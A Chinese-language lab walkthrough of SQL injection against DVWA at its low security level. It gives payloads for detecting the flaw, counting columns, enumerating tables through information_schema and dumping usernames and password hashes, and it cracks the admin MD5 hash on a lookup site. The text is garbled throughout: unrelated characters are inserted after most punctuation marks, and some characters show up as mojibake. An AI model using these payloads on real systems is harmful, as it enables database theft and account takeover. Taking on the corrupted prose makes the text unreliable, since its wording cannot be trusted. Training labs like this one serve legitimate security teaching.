1、設置把安全等級先調(diào)整為low虐秋,讓自己獲得點信心窍帝,免得一來就被打臉努潘。DVWA之SQL注入演練(low)
2、測試和分析頁面的功能這里有一個輸入框
根據(jù)上面的提示坤学,輸入用戶的id疯坤。然后我們輸入之后,發(fā)現(xiàn)它返回了關于這個user的信息深浮!這里我們輸入了“1”压怠。
它返回三行數(shù)據(jù),一行是我們輸入的用戶ID飞苇。一行是用戶名菌瘫,另外一行是用戶別名。同時布卡,看一下瀏覽器的地址欄那里雨让,發(fā)現(xiàn)url成這樣了
這里有個id=1,是不是就是我們輸入的user id呢忿等?再輸入“2”栖忠,發(fā)現(xiàn)url變成了
好了,到這里贸街,我們可以得出這里傳進去的id的值是我們可以控制的庵寞。我們在輸入框中輸入什么,就會通過id傳進去什么薛匪!
3捐川、對參數(shù)進行測試對id這個參數(shù)進行測試,查看一下它是否存在sql注入漏洞逸尖。我們在輸入框里面輸入“1'”古沥,注意1后面有一個單引號“'”。
發(fā)現(xiàn)這里報錯了冷溶,說我們的sql語句出現(xiàn)了語法錯誤渐白。我們可以進行這樣一個猜測:首先它這個id是被兩個“'”包住的。查詢語句可能是這樣的:
select firstname,surname from users where id = '1';
當我們在1之后加一個引號逞频,則會導致單引號數(shù)目不平衡纯衍,那么查詢語句會變成這樣:
select firstname,surname from users where id = '1'';
可以看到最后一個引號沒被閉合,那我們該怎么辦呢苗胀?其實有好多種解決的辦法襟诸,下面就簡單介紹下瓦堵。
方法一:可以在原來的基礎上再繼續(xù)輸入一個引號,也就是“1''”歌亲。這時我們看一下查詢語句:
select firstname,surname from users where id = '1''';
在where語句中菇用,當出現(xiàn)多個字符串的時候,“=”將會選擇優(yōu)先級最高的一個陷揪,優(yōu)先級是從左到右惋鸥,依次降低的,也就是離“=”最近的一個悍缠。
看到了么卦绣,出來的結(jié)果還是和user_id=1一樣。
方法二:使用“#”符號來注釋后面的單引號飞蚓,到時查詢語句將會變成這樣:
select firstname,surname from users where id = '1'#';
方法三:使用“-- ”滤港。這里注意了“-- ”后面有一個空格。在url當中趴拧,我們可以使用“+”來代替“--”后面的空格溅漾。到時查詢語句將會變成這樣:
select firstname,surname from users where id = '1'--+';
上面顯示出來的結(jié)果和輸入1時一樣。到這里我們就可以確定:漏洞的參數(shù)是“id”著榴。漏洞的類型是字符型添履。
4、構(gòu)造payload好了兄渺,在我們確認漏洞之后缝龄,就可以構(gòu)造payload了。什么是payload挂谍?說白了就是一段惡意代碼,以便我們能夠獲得數(shù)據(jù)庫里面的數(shù)據(jù)瞎饲。
4.1 分析字段數(shù)分析字段數(shù)的話口叙,也是有兩種方法。
方法一:用order by 語句嗅战。分析字段數(shù)的原因是我們之后需要用union select語句來獲得我們需要的敏感數(shù)據(jù)妄田。根據(jù)order by知識知道,要是后面跟著的數(shù)字超出了字段數(shù)時驮捍,就會報錯疟呐!通過這個我們可以確定字段數(shù)。我們構(gòu)造的payload如下:
1' order by 1#
1' order by 2#
1' order by 3#
當輸入到3的時候东且,發(fā)現(xiàn)它報錯了启具,也就是說字段數(shù)為2。
方法二:直接用union select來猜測字段數(shù)珊泳。因為當字段數(shù)不對應的時候鲁冯,它也是會發(fā)生報錯的拷沸!我們構(gòu)造以下查詢語句:
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
可以發(fā)現(xiàn),當union select 1,2,3的時候報錯薯演,union select 1,2的時候沒有報錯撞芍,也就是說字段數(shù)為2。同時跨扮,我們也注意到序无,好像返回的內(nèi)容中多了三條數(shù)據(jù),這是啥呢衡创?其實這就是我們union select出來的數(shù)據(jù)帝嗡。這樣通過查看頁面,我們便可以獲得數(shù)據(jù)庫里面的信息了钧汹!
4.2 獲取信息字段數(shù)為2丈探,說明數(shù)據(jù)列有兩列。我們可以通過union select語句查出兩個數(shù)據(jù)拔莱。好了碗降,我們來獲取所需要的數(shù)據(jù)庫里面的信息吧!
4.2.1 獲取當前數(shù)據(jù)庫名塘秦,當前用戶名構(gòu)造數(shù)據(jù)庫查詢語句如下所示:
1' union select database(),user()#
解釋一下讼渊,database()將會返回當前網(wǎng)站所使用的數(shù)據(jù)庫名字,user()將會返回進行當前查詢的用戶名尊剔。
好的爪幻,我們可以看到當前使用的數(shù)據(jù)庫為:dvwa,當前的用戶名:root@localhost须误。
有時候挨稿,后面的select語句會限制輸出的行數(shù),一般來說京痢,都會讓原數(shù)據(jù)庫查詢無效奶甘,也就是輸入無效的id,使得原數(shù)據(jù)庫查詢不反回結(jié)果祭椰。如下操作:
-1' union select database(),user()#
這樣就只會返回我們需要的數(shù)據(jù)了臭家。類似的函數(shù)還有:version() 獲取當前數(shù)據(jù)庫版本,@@version_compile_os獲取當前操作系統(tǒng)。
-1' union select version(),@@version_compile_os#
數(shù)據(jù)庫版本高于5.0就可以爆庫了方淤,下面會具體講解钉赁。
4.2.2 獲取當前的用戶表根據(jù)上面的信息,我們知道當前數(shù)據(jù)庫名為dvwa携茂,可是還不夠呀你踩,表名是什么?內(nèi)容又是什么?是不是打算放棄了姓蜂?先吃根辣條冷靜一下吧按厘。
想想看,當你有不懂的字會怎么辦呢钱慢?不要動不動就去百度逮京,除了問度娘,還能怎么做呢束莫?對了懒棉,查字典。那么mysql有沒有類似于字典的東西呢览绿?答案是肯定的策严,就是information_schema,這是一個包含了mysql數(shù)據(jù)庫所有信息的“字典”饿敲,本質(zhì)上還是一個database妻导,存放著其他各個數(shù)據(jù)的信息。
在information_schema里怀各,有一個表tables倔韭。有一個columns……是不是有點感覺了? tables這個表存放的是關于數(shù)據(jù)庫中所有表的信息瓢对,里面有個字段叫table_name寿酌,還有個字段叫做table_schema。其中table_name是表名硕蛹,table_schema表示的是這個表所在的數(shù)據(jù)庫醇疼。對于columns,它有column_name法焰,table_schema秧荆,table_name“R牵回想一下辰如,我們擁有的信息是數(shù)據(jù)庫名。也就是說我們可以構(gòu)造這樣的payload來從數(shù)據(jù)庫里獲取一些東西贵试。
好的,構(gòu)造的查詢語句如下:
-1' union select table_name,2 from information_schema.tables where table_schema= 'dvwa'#
爆出來兩個表凯正,對那個感興趣呢毙玻??廊散?當然是users表啦桑滩!不是說還有一個columns表么?所以我們還需要table_name以及table_schema來查column_name允睹。這次我們構(gòu)造的payload如下:
-1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#
這里簡單說一下运准,倘若不指定數(shù)據(jù)庫名為'dvwa'幌氮,若是其他數(shù)據(jù)里面也存在users表的話,則會出現(xiàn)很多混淆的數(shù)據(jù)胁澳。當然该互,在這里直接使用下面的語句也是可以成功的。
-1' union select column_name,2 from information_schema.columns where table_name='users'#
跟上一條結(jié)果一樣吧韭畸?
又來了宇智,這么多數(shù)據(jù),選哪個呢胰丁?随橘??廢話锦庸,當然是user机蔗,password啦。我們再次修改payload:
-1' union select user,password from users#
Binggo甘萧!我們爆出所有的用戶名和密碼值萝嘁!等等,這密碼好像有點奇葩幔嗦,數(shù)一數(shù)酿愧,32位!好吧邀泉,是經(jīng)過md5加密的嬉挡。好不容易爆出管理員賬號和密碼,但是密碼卻加密汇恤,這就沒有辦法了嗎庞钢?不一定!我們需要找一些破解md5值的網(wǎng)站來進行破解因谎!直接百度“CMD5”基括,然后選擇一個網(wǎng)站進去破解就可以了。
我們選擇admin這個來進行破解财岔,md5密文為:21232f297a57a5a743894a0e4a801fc3风皿。
可以看到密碼已經(jīng)被破解出來了,密碼是“admin”,好的匠璧,我們來驗證一下桐款!
看,這個時候我們已經(jīng)成功登陸了夷恍!
好的魔眨,簡單的SQL注入就說到這兒了